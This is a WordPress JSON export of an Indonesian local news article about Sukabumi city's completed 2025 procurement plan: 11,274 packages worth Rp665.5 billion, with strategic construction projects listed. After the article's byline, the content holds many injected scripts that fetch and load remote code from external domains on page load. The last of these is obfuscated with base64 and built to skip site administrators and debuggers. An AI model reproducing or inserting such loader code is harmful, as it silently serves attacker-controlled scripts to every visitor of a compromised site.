{"id":12971,"date":"2025-03-21T03:42:34","date_gmt":"2025-03-20T20:42:34","guid":{"rendered":"https:\/\/sukabumikita.id\/?p=12971"},"modified":"2025-03-21T03:42:34","modified_gmt":"2025-03-20T20:42:34","slug":"pemkot-sukabumi-tuntaskan-perencanaan-pengadaan-2025-11-ribu-paket-siap-jalan","status":"publish","type":"post","link":"https:\/\/id.sukabumikita.id\/2025\/03\/21\/pemkot-sukabumi-tuntaskan-perencanaan-pengadaan-2025-11-ribu-paket-siap-jalan\/","title":{"rendered":"Pemkot Sukabumi Tuntaskan Perencanaan Pengadaan 2025: 11 Ribu Paket Siap Jalan"},"content":{"rendered":"<p data-pm-slice=\"1 1 []\"><span style=\"color: #0000ff;\"><strong>id.sukabumikita.id\/ &#8211; <\/strong><\/span>Pemerintah Kota Sukabumi terus melaju dalam memastikan pengelolaan anggaran yang transparan dan efisien. Kepala Bagian Pengadaan Barang dan Jasa (BPBJ) Setda Kota Sukabumi, Novian Restiadi, mengumumkan bahwa perencanaan pengadaan barang dan jasa tahun 2025 telah rampung 100 persen.<\/p>\n<p data-pm-slice=\"1 1 []\">Bahkan, menrut Novian bahwa seluruh paket pengadaan sudah dapat diumumkan, dalam Sistem Informasi Rencana Umum Pengadaan (SIRUP) sebelum tenggat waktu nasional pada 31 Maret 2025.<\/p>\n<h2><span style=\"color: #ff0000;\"><strong>Ribuan Paket Siap Eksekusi<\/strong><\/span><\/h2>\n<p>Novian menjelaskan, total ada 11.274 paket pengadaan yang sudah terdaftar di SIRUP dengan nilai mencapai Rp665,5 miliar. Paket ini mencakup berbagai kebutuhan mulai dari pengadaan alat tulis kantor hingga proyek infrastruktur besar.<\/p>\n<p>&#8220;Kami akan melakukan review lebih lanjut untuk memastikan setiap paket yang diajukan Organisasi Perangkat Daerah (OPD) sesuai dan layak dieksekusi,&#8221; ujar Novian pada Kamis (20\/03\/2025).<\/p>\n<p>Hingga kini, BPBJ sudah menyelesaikan proses pengadaan senilai Rp28,9 miliar, dengan 224 paket yang telah masuk tahap kontrak melalui metode e-purchasing, penunjukan langsung, dan tender.<\/p>\n<h2><span style=\"color: #ff0000;\">Strategi Efisiensi dan Konsolidasi<\/span><\/h2>\n<p>Dalam upaya meningkatkan efisiensi, BPBJ juga melakukan konsolidasi beberapa paket kecil agar lebih hemat. Contohnya, belanja alat tulis seperti pensil dan pulpen yang dulu diproses terpisah kini digabungkan menjadi satu paket besar.<\/p>\n<p>Namun, meski persiapan sudah matang, Novian mengungkapkan bahwa hingga saat ini belum ada Pejabat Pembuat Komitmen (PPK) yang mengajukan proses pelelangan untuk proyek besar tahun 2025. Di tahun sebelumnya, hanya satu tender dilakukan, yaitu untuk jasa konsultansi yang tak tersedia di e-katalog.<\/p>\n<div id=\"attachment_12973\" style=\"width: 1073px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-12973\" class=\"size-full wp-image-12973\" src=\"https:\/\/id.sukabumikita.id\/wp-content\/uploads\/2025\/03\/WhatsApp-Image-2025-03-20-at-21.41.01.jpeg\" alt=\"\" width=\"1063\" height=\"821\" \/><p id=\"caption-attachment-12973\" class=\"wp-caption-text\"><em><strong>Kepala BPBJ Setda Kota Sukabumi, Novian Restiadi, mengumumkan bahwa perencanaan pengadaan barang dan jasa tahun 2025 telah rampung 100 persen.<\/strong><\/em><\/p><\/div>\n<h2><span style=\"color: #ff0000;\"><strong>Fokus pada Proyek Strategis<\/strong><\/span><\/h2>\n<p>Tahun 2025, pengadaan strategis masih menitikberatkan pada proyek konstruksi besar, di antaranya:<\/p>\n<ul data-spread=\"false\">\n<li><strong>Penataan kawasan permukiman kumuh terpadu<\/strong> senilai <strong>Rp5,76 miliar<\/strong> oleh Dinas Pekerjaan Umum dan Tata Ruang (DPUTR).<\/li>\n<li><strong>Proyek air minum<\/strong> dengan anggaran <strong>Rp2,262 miliar<\/strong>.<\/li>\n<li><strong>Proyek sanitasi tematik<\/strong> senilai <strong>Rp1,1 miliar<\/strong>.<\/li>\n<li><strong>Rehabilitasi sekolah<\/strong> di bawah Dinas Pendidikan senilai <strong>Rp1,872 miliar<\/strong>.<\/li>\n<\/ul>\n<p>Meski ada proyek besar peningkatan kapasitas jalan, Novian menjelaskan proyek tersebut tidak masuk dalam kategori strategis. Semua proyek ini diusulkan melalui Bappeda agar tetap sejalan dengan visi-misi Wali Kota Sukabumi.<\/p>\n<h2><span style=\"color: #ff0000;\"><strong>Efisiensi Anggaran, Fokus pada Layanan Publik<\/strong><\/span><\/h2>\n<p>Sesuai instruksi Presiden dan surat edaran Wali Kota, BPBJ juga menerapkan penghematan anggaran. Beberapa pengeluaran yang dianggap kurang prioritas, seperti publikasi pemerintahan di hotel dan konsumsi rapat, dipangkas.<\/p>\n<p>&#8220;Pengadaan yang tetap berjalan adalah yang berkaitan langsung dengan layanan publik, seperti rehabilitasi sarana dan prasarana yang berdampak langsung ke masyarakat,&#8221; tambah Novian.<\/p>\n<p>Dengan strategi ini, diharapkan pengadaan barang dan jasa di Kota Sukabumi berjalan lebih efisien, transparan, dan tepat sasaran demi mendukung pembangunan daerah yang lebih baik. <span style=\"color: #0000ff;\"><strong>(Cr5)<\/strong><\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>id.sukabumikita.id\/ &#8211; Pemerintah Kota Sukabumi terus melaju dalam memastikan pengelolaan anggaran yang transparan dan efisien. Kepala Bagian Pengadaan Barang dan Jasa (BPBJ) Setda Kota Sukabumi, Novian Restiadi, mengumumkan bahwa perencanaan pengadaan barang dan jasa tahun 2025 telah rampung 100 persen. Bahkan, menrut Novian bahwa seluruh paket pengadaan sudah dapat diumumkan, dalam Sistem Informasi Rencana Umum [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12972,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"class_list":["post-12971","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-pemerintahan"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/posts\/12971","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/comments?post=12971"}],"version-history":[{"count":0,"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/posts\/12971\/revisions"}],"wp:attachment":[{"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/media?parent=12971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/categories?post=12971"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/wp-json\/wp\/v2\/tags?post=12971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}